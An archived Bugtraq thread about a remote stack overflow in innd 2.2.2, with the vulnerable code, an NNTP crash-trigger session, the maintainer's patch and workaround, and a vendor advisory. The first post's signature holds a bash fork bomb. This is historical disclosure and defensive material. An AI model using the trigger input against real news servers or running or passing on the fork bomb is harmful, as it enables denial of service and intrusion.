5169187 2000-06-06 21:14 /80 rader/ Postmaster
Mottagare: Bugtraq (import) <11175>
Ärende: innd 2.2.2 remote buffer overflow
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Authentication-Warning: squirrel.tpi.pl: lcamtuf owned process doing -bs
X-Nmymbofr: Nir Orb Buk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.10.10006061557230.30518-100000@squirrel.tpi.pl>
Date: Tue, 6 Jun 2000 16:18:44 +0200
Reply-To: Michal Zalewski <lcamtuf@TPI.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Michal Zalewski <lcamtuf@TPI.PL>
X-cc: wp@dione.ids.pl, venglin@freebsd.lublin.pl
To: BUGTRAQ@SECURITYFOCUS.COM
Newest innd 2.2.2, probably the most popular usenet news server (as
well as previous versions) contain remotely exploitable, trivial
on-stack buffer overflow in control articles handler.
Offending piece of code (in innd/art.c, function ARTcancelverify):
if (!EQ(local, p)) {
files = NULL;
(void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
p, MessageID, local);
ARTlog(Data, ART_REJECT, buff);
}
Where buff (local stack buffer) is SMBUF bytes long (it means, 256
bytes), but MessageID can be up to 1000 almost bytes long. This code
is reached when cancel request is sent to special newsgroup (called
'control'), and cancel request contains valid Message-ID, but
From/Sender fields are different in cancel request and in original
posting.
How to exploit it? It could be a problem for script kiddies, as
Message-ID is strictly checked for non-printable characters etc. But
hey, Message-ID can be used only as a padding, and then we can
overwrite return address with From/Sender address of cancel post!
This field is not verified in any fascist way. Shellcode? Can be
placed anywhere, quite big portions of cancel post are lying in the
accessible memory when overflow happens.
Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to
be the same every time):
-- input - 201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready
(posting ok) mode reader group pl.test post Message-ID:
<none@LONGBUFFER> From: <test@polbox.com> Sender: <test@polbox.com>
Newsgroups: pl.test
testing
. <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid@test.pl>
Approved: <approver@approving.net>From: <sucker@free.net.pl>
Sender: <sucker@free.net.pl>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control
Damn, cancel it.
. <- single dot
quit
-- EOF --
If innd/nnrp is running under debugger like strace, you'll see that
child process responsible for request handling dies with
SIGSEGV. Nice.
Don't ask me why, but I believe it will be hot weekend for Linux 2.2 users
;) Just wait for Wojtek's post ;P
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5169187) ------------------------------------------(Ombruten)
5169724 2000-06-07 00:12 /80 rader/ Postmaster
Mottagare: Bugtraq (import) <11182>
Ärende: Re: innd 2.2.2 remote buffer overflow
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
User-Agent: Gnus/5.0802 (Gnus v5.8.2) XEmacs/21.1 (Biscayne)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <ylya4ifuyd.fsf@windlord.stanford.edu>
Date: Tue, 6 Jun 2000 12:52:42 -0700
Reply-To: Russ Allbery <rra@STANFORD.EDU>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Russ Allbery <rra@STANFORD.EDU>
Organization: The Eyrie
X-To: Michal Zalewski <lcamtuf@TPI.PL>
X-cc: inn-workers@isc.org
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: Michal Zalewski's message of "Tue, 6 Jun 2000 16:18:44 +0200"
Are you aware that there are addresses for reporting bugs in INN?
Did you even investigate reporting this to them first? My turnaround
on patching security bugs is pretty fast, and then you could have
included a patch in your message.
Very poor form.
Michal Zalewski <lcamtuf@TPI.PL> writes:
> Newest innd 2.2.2, probably the most popular usenet news server (as well
> as previous versions) contain remotely exploitable, trivial on-stack
> buffer overflow in control articles handler.
> Offending piece of code (in innd/art.c, function ARTcancelverify):
> if (!EQ(local, p)) {
> files = NULL;
> (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
> p, MessageID, local);
> ARTlog(Data, ART_REJECT, buff);
> }
> Where buff (local stack buffer) is SMBUF bytes long (it means, 256
> bytes), but MessageID can be up to 1000 almost bytes long. This code is
> reached when cancel request is sent to special newsgroup (called
> 'control'), and cancel request contains valid Message-ID, but
> From/Sender fields are different in cancel request and in original
> posting.
Note that this code is only ever executed if the option
"verifycancels" is enabled in inn.conf. This is *not* the default,
and has been recommended against for some time now since it really
doesn't do any real good.
Obvious fix:
--- inn/innd/art.c 2000/06/05 22:39:52 1.142
+++ inn/innd/art.c 2000/06/06 19:31:56 1.143
@@ -1042,7 +1042,7 @@
HeaderCleanFrom(p);
if (!EQ(q, p)) {
token = NULL;
- (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
+ (void)sprintf(buff, "\"%.50s\" wants to cancel %.70s by \"%.50s\"",
p, MessageID, q);
ARTlog(Data, ART_REJECT, buff);
}
I'm committing this to the repository now, and it should show up in
STABLE snapshots tomorrow. Those folks who want to run with
verifycancels turned on should get the latest STABLE snapshot from
/isc/inn/snapshots on ftp.isc.org sometime after 4am PDT the next
morning. We were planning on getting a 2.2.3 bug fix release out
shortly; I'll accelerate that.
Workaround in the meantime is to turn off verifycancels in inn.conf,
which I recommend anyway as it doesn't serve any actual purpose any
more. This whole block of code will likely be removed for INN 2.4.
Note that due to the syntax checking INN performs on message IDs, this
will be mildly difficult to exploit, although it's probably at least
theoretically possible.
--
Russ Allbery (rra@stanford.edu) <http://www.eyrie.org/~eagle/>
(5169724) ------------------------------------------(Ombruten)
5169751 2000-06-07 00:16 /44 rader/ Postmaster
Mottagare: Bugtraq (import) <11183>
Ärende: Re: innd 2.2.2 remote buffer overflow
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
User-Agent: Gnus/5.0802 (Gnus v5.8.2) XEmacs/21.1 (Biscayne)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <yl4s76fru2.fsf@windlord.stanford.edu>
Date: Tue, 6 Jun 2000 14:00:05 -0700
Reply-To: Russ Allbery <rra@STANFORD.EDU>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Russ Allbery <rra@STANFORD.EDU>
Organization: The Eyrie
X-To: Michal Zalewski <lcamtuf@dione.ids.pl>
X-cc: inn-workers@isc.org
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: Michal Zalewski's message of "Mon, 5 Jun 2000 22:46:25 +020
(EEST)"
Michal Zalewski <lcamtuf@dione.ids.pl> writes:
> On 6 Jun 2000, Russ Allbery wrote:
>> Note that this code is only ever executed if the option "verifycancels"
>> is enabled in inn.conf. This is *not* the default, and has been
>> recommended against for some time now since it really doesn't do any
>> real good.
> It is enabled by default in RH,
That's a bug in Red Hat's configuration in my opinion as one of the
maintainers of INN.
> and usually is enabled on live innd sites.
Not by anyone who follows the advice of the documentation.
I'll repeat: As one of the maintainers of INN, I strongly recommend
that people not use verifycancels; it serves no useful purpose, the
behavior that it enables is disallowed by the latest draft of the
Usenet article format standard, and it's likely to go away completely
in INN 2.4.
I've not had it turned on on any of my servers for years now.
--
Russ Allbery (rra@stanford.edu) <http://www.eyrie.org/~eagle/>
(5169751) ------------------------------------------(Ombruten)
5170681 2000-06-07 10:36 /30 rader/ Postmaster
Mottagare: Bugtraq (import) <11186>
Ärende: Re: innd 2.2.2 remote buffer overflow
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Priority: normal
Message-ID: <200006062057.e56Kvxc03985@bean.epix.net>
Date: Tue, 6 Jun 2000 16:54:52 -0500
Reply-To: forrest@mibsoftware.com
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
Comments: Authenticated sender is <mibsoft@in.epix.net>
From: "Forrest J. Cavalier III" <mibsoft@EPIX.NET>
Organization: Mib Software
X-cc: inn-workers@isc.org
To: BUGTRAQ@SECURITYFOCUS.COM
Michal Zalewski <lcamtuf@TPI.PL> wrote:
> Newest innd 2.2.2, probably the most popular usenet news server (as well
> as previous versions) contain remotely exploitable, trivial on-stack
> buffer overflow in control articles handler.
INN 1.7.x and earlier is not affected by this. The vulnerable code
appeared in the 2.x branch.
Forrest J. Cavalier III, INN customization and consulting
http://www.mibsoftware.com/innsup.htm
Newsrate Usenet Server monitoring measures what you get.
http://www.mibsoftware.com/userkt/newsrate/
(5170681) ------------------------------------------(Ombruten)
5174514 2000-06-08 09:47 /97 rader/ Postmaster
Mottagare: Bugtraq (import) <11192>
Ärende: Conectiva Linux security announcement - inn
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <20000606223223.I4764@conectiva.com.br>
Date: Tue, 6 Jun 2000 22:32:23 -0300
Reply-To: Sergio Bruder <bruder@CONECTIVA.COM.BR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Sergio Bruder <bruder@CONECTIVA.COM.BR>
X-To: bos-br@sekure.org, lwn@lwn.net
To: BUGTRAQ@SECURITYFOCUS.COM
CONECTIVA LINUX SECURITY ANNOUNCEMENT
This message is automatically sent to the announcement list.
Information regarding this list can be found in
http://www.conectiva.com.br/atualizacoes
This announcement reports a problem found with a packet or
component of Conectiva Linux and instructions on how to fix it.
The information reported in this mail can be freely distributed,
as long as its contents are not modified.
----------------------------------------------------------------------
PACKAGE: inn
SUMMARY : Buffer overflow in news server
DATE : 2000-JUN-06
CONECTIVA VERSIONS: 4.0, 4.1, 4.2 and 5.0
DESCRIPTION
A buffer overflow has been found in the news server inn up to
version 2.2.2. If the "verifycancels" option in the
/etc/news/inn.conf file is set to "true", then the server is
vulnerable to this problem. The package shipped with Conectiva
Linux has this option activated and is therefore vulnerable.
SOLUTION
The option "verifycancels" should be set to "false". If this
feature is needed, then the package must be updated otherwise
the server will be vulnerable.
Our updated packages have this option set to "false".
The updated packages are being sent to our ftp right now.
Packages for "edição servidor 1.0" and "guarani" will
follow shortly.
----------------------------------------------------------------------
RPM PACKAGES
i386/inews-2.2.2-3cl.i386.rpm
i386/inn-devel-2.2.2-3cl.i386.rpm
i386/inn-2.2.2-3cl.i386.rpm
Update directories:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0
Direct links to the packages:
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inews-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inn-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/inn-devel-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inews-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inn-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/inn-devel-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inews-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inn-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/inn-devel-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inews-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inn-2.2.2-3cl.i386.rpm
ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/inn-devel-2.2.2-3cl.i386.rpm
----------------------------------------------------------------------
All the packages listed here are signed with our PGP key. You can
get this key at http://www.conectiva.com.br/conectiva/contato.html
Information on how to install and/or update packages, and mirror
sites, can be found at http://www.conectiva.com.br/atualizacoes
----------------------------------------------------------------------
subscribe: atualizacoes-anuncio-subscribe@bazar.conectiva.com.br
unsubscribe: atualizacoes-anuncio-unsubscribe@bazar.conectiva.com.br
(5174514) ------------------------------------------(Ombruten)